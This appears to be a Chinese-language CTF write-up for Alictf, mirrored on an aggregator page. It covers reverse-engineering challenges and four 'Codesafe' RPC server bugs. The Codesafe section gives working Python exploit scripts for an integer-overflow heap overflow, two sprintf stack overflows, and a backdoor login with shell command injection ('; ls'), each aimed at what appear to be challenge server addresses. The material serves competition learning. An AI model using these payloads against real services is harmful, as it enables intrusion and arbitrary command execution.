zoukankan      html  css  js  c++  java
  • Alictf Writeup

    Alictf Writeup

    Reverse

    1.    Ch1

    根据题目描述,首先在Ch1.exe文件中搜索Secret.db字符串,如下所示。

     

    之后定位文件创建和数据写入位置,如下所示。

     

    可以看到,写入数据的地址位于esp+30h+var10,而在之前调用了data_handle函数对齐进行了处理,data_handle函数有三个参数,分别是pOutBuffer、pInBuffer、InBufferSize,如下所示。

     

    传入数据如下所示。

     

    处理完后,位于0x28EF3C处的数据如下所示。

     

    可以看到,OutBuffer位于0x491B80处,如下所示。

     

    分析到这儿,可以发现InBuffer明显不是我们所要找的flag,而其值又来源于edi,edi来源于ecx,属于寄存器传参,继续向前跟踪函数。

     

    在这,我们发现ecx来自于edi,而edi保存的是esi+0F4h处的地址,在这中间对地址中的数据进行了处理,调用了crypto1函数进行了处理。在crypto1中,我们发现有大量的赋值操作,并且这些值的ASCII码都是可视,应该就是我们所要找的flag,如下所示。

     

    在此处下断,查看内存信息如下所示。

     

    可以看到加密的key就是位于0x53EE74这0x20字节。

    2.    Ch2

    这一题是文件加解密相关的,首先创建flag.txt文件,输入文本“0123456789”,得到如下输出结果。

     

    可以看到这里的每一个数字都用2个字节来表示,只是进行了简单的置换操作,由此我们可以把所有可视的ASCII字符与密码表的对应关系搞清楚,直接替换原来flag.crypt文件中的数据即可,代码如下所示。

     1 #gen_crypto_table.py
     2 
     3 import os
     4 
     5 fp1 = open('flag.txt','r')
     6 fp2 = open('flag.crpyt','rb')
     7 fp3 = open('data.txt','a')
     8 
     9 text1=fp1.read()
    10 text2=fp2.read()
    11 data_length = len(text1)
    12 
    13 for i in range(0,data_length):
    14          data=text1[i] + ' ' + text2[2*i] + text2[2*i+1] +'
    '
    15          fp3.write(data)
    16 
    17 fp1.close()
    18 fp2.close()
    19 fp3.close()
     1 #gen_flag.py
     2 import os
     3 
     4 fp1 = open('data.txt','rb')
     5 fp2 = open('final-flag.crpyt','rb')
     6 
     7 fp3 = open('result.txt','w')
     8 
     9 text1=fp1.read()
    10 text2=fp2.read()
    11 data2_length = len(text2)
    12 data1_length = len(text1)
    13 
    14 #print data1_length
    15 #for j in range(0,18,6):
    16 
    17 
    18 for i in range(0,data2_length,2):
    19     target = text2[i:i+2]
    20     for j in range(0,data1_length,6):
    21         tmp = text1[j:j+4]
    22         if(target==tmp[2:]):
    23             print repr(target[0]),repr(target[1]),repr(tmp[2]),repr(tmp[3])
    24             fp3.write(tmp[0])
    25             break;
    26 
    27 
    28 fp1.close()
    29 fp2.close()
    30 fp3.close()

    3.    Ch3

    这一题使用了UPX压缩壳,数据解压出来后会跳到原程序的入口点,如下所示。

     

    运行程序,程序在如下位置崩溃。

     

    查看栈回溯信息。

     

    发现程序在base_address+0x1943h前call rax出错,如下所示。

     

    使用UPX对ch3.exe解压,解压出原来的ch3.exe文件来帮助我们分析。根据题目描述,定位到程序崩溃位置,如下所示。

     

    发现此时调用DecryptDll.dll中的RSADecrypt函数,而在系统中却没有这个函数,导致此时的call rax出错。程序使用了UPX进行压缩,在解压缩的时候可能包含了这些数据,搜索内存,找到如下信息。

     

    将该段内存(00000001`3f3970a8—00000001`3f3970a8+0xbbe00-1)导出,命名为DecryptDLL.dll。

    重新加载程序,运行后仍然崩溃,如下所示。

     

    栈回溯如下所示。

     

    发现问题还是出在RSADecrypt函数的调用上,这里传进去4个参数rcx、rdx、r8、r9,他们分别表示pEncryptBuffer、BufferLength、pOutDecryptBuffer和flag(具体细节追踪DecryptDll中RSADecrypt函数处理流程即可知晓),而这里只需将r8的值指向有效内存即可让程序正常运行,如下所示。

     

    Codesafe

    1.    Rpc1

    这一题问题在rpc_function_1函数中,如下所示。

     

    这里的问题在于图中灰色部分,mtl是一个unsigned short,只有两个字节,而此时如果构造的数据满足tl==512 & temp.mtt=200的时候,此时的mtl的值会超过65535,导致malloc分配的空间过小,从而溢出。由此可以构造如下数据。

     1 #rpc1.py
     2 from socket import *
     3 import struct
     4 
     5 class TcpClient:
     6     HOST='223.6.252.25'
     7     PORT=30000 
     8     BUFSIZ=1024
     9     ADDR=(HOST, PORT)
    10     def __init__(self):
    11         self.client=socket(AF_INET, SOCK_STREAM)
    12         self.client.connect(self.ADDR)
    13 
    14         while True:
    15             token='A'*32
    16             dd='A'*512
    17             data=struct.pack('B',len(token))
    18             data+=token
    19             data+=struct.pack('B',1)
    20             data+=struct.pack('>I',514)
    21             data+=struct.pack('<H',200)
    22             data+=dd
    23             self.client.send(data)
    24             data=self.client.recv(self.BUFSIZ)
    25             if not data:
    26                 break
    27             print('从%s收到信息:%s' %(self.HOST,data))
    28             break
    29          
    30 if __name__ == '__main__':
    31     client=TcpClient()


    2.    Rpc2
     

    这一题问题在rpc_function_2函数中,如下所示。

    char buffer[512];
    int len = request->len_data;
    ……
    sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v);
    return create_response(strlen(buffer),buffer);

    中间省略了对数据进行解析的部分,最后这里把格式化的数据保存到buffer中,而buffer的大小只有512字节,line来自于网络数据,只要让这里的line的数据长度为512或者这个格式化字符串的长度大于512即可。具体数据如下所示。

     1 #rpc2.py
     2 from socket import *
     3 import struct
     4 
     5 class TcpClient:
     6     HOST='42.120.63.194'
     7     PORT=30000 
     8     BUFSIZ=1024
     9     ADDR=(HOST, PORT)
    10     def __init__(self):
    11         self.client=socket(AF_INET, SOCK_STREAM)
    12         self.client.connect(self.ADDR)
    13 
    14         while True:
    15             token='A'*32
    16             
    17             d1='A'*63+'='+'21'*8
    18             d2=' '*(512-len(d1)) + d1
    19             
    20             data=struct.pack('B',len(token))
    21             data+=token
    22             data+=struct.pack('B',2)
    23             data+=struct.pack('>I',512)
    24             
    25             data+=d2
    26             self.client.send(data)
    27             data=self.client.recv(self.BUFSIZ)
    28             if not data:
    29                 break
    30             print('从%s收到信息:%s' %(self.HOST,data))
    31             break
    32          
    33 if __name__ == '__main__':
    34     client=TcpClient()

    3.    Rpc3 

    这一题问题在rpc_function_2函数中,和Codesafe 2类似,都是sprintf造成的问题,如下所示。

     

    在上图灰色部分,r的大小为256字节,而p的数据通过function6进行处理的,只要想办法让这p的字符串大小在256左右即可触发漏洞。

    在上图的function6中,我们可以看到p来自于t.szUrl中的“http://”之后的部分,这样我们就可以构造如下数据。

     1 #rpc4.py
     2 from socket import *
     3 import struct
     4 import time
     5 
     6 class TcpClient:
     7     HOST='223.6.253.103'
     8     PORT=30000 
     9     BUFSIZ=1024
    10     ADDR=(HOST, PORT)
    11     def __init__(self):
    12         self.client=socket(AF_INET, SOCK_STREAM)
    13         self.client.connect(self.ADDR)
    14 
    15         while True:
    16             token='A'*32
    17             data=struct.pack('B',len(token))
    18             data+=token    
    19             data+=struct.pack('B',2)
    20                         
    21             flag_v=2
    22             stc='x48x48x00x00' #mn
    23             stc+=struct.pack('I',int(time.time())); #ts
    24             stc+=struct.pack('I',flag_v) #v
    25             stc+="sdatsts-afu"+"x00"*(16-len("sdatsts-afu")) #k
    26             url="http://alibaba.com/"+"A"*(256-len("http://alibaba.com/"))
    27             stc+=struct.pack("I",len(url)) #len
    28             stc+=url+"x00"*(256-len(url)) #szUrl
    29             
    30             data+=struct.pack('>I',len(stc))
    31             data+=stc
    32             self.client.send(data)
    33             data=self.client.recv(self.BUFSIZ)
    34             if not data:
    35                 break
    36             print('从%s收到信息:%s' %(self.HOST,data))
    37             break
    38          
    39 if __name__ == '__main__':
    40     client=TcpClient()

    4.    Rpc4 

    这一题问题在rpc_function_1函数中,存在一个后门登陆漏洞,如下所示。

     

    在上图灰色部分,能够调用system函数执行指定的指令,而想要到达这条路径,必须让”login==1 && strcmp(szUser,”admin”)==)”这个条件,也就是满足szUser==”admin”和value=”ALIBABA”这两个条件,具体的数据构造如下所示。

     1 #rpc4.py
     2 from socket import *
     3 import struct
     4 
     5 class TcpClient:
     6     HOST='223.6.251.166'
     7     PORT=30000 
     8     BUFSIZ=1024
     9     ADDR=(HOST, PORT)
    10     def __init__(self):
    11         self.client=socket(AF_INET, SOCK_STREAM)
    12         self.client.connect(self.ADDR)
    13 
    14         while True:
    15             token='A'*32
    16 
    17             data=struct.pack('B',len(token))
    18             data+=token
    19 
    20             data+=struct.pack('B',1)
    21             data+=struct.pack('>I',512)
    22 
    23             
    24             user='admin'+' '*64+'admi' #stc2.user
    25             u_pass='urejhvg' #stc2.pass
    26             ins='www.taobao.com; ls' #stc2.buffer
    27             data1=user+"x00"*(128-len(user))+u_pass+"x00"*(128-len(u_pass))+ins+"x00"*(256-len(ins))
    28             
    29             data+=data1
    30             
    31             self.client.send(data)
    32             data=self.client.recv(self.BUFSIZ)
    33             if not data:
    34                 break
    35             print('从%s收到信息:%s' %(self.HOST,data))
    36             break
    37          
    38 if __name__ == '__main__':
    39     client=TcpClient()

    奋斗了两天之后,解出了这么点题……感觉逆向能力还有待进一步加强,另外,基本上codesafe题都和socket通信有关,reverse4、5题能力要求有点高,感觉时间还是不够,熟练度有待进一步提高。。。

  • 相关阅读:
    Try .NET & Github Gist
    vue & font-awesome
    JSP基础与提高(一).md
    chm转换为html文件
    markdownpad生成目录
    MarkdownPad2的密钥
    删除多余的win10软件
    计算机组成原理与机构期末复习的概念
    sublime text 的小细节设置,让你的代码更优美
    NetBeans主题配色方案加设置.md
  • 原文地址:https://www.cnblogs.com/wal613/p/3986347.html
Copyright © 2011-2022 走看看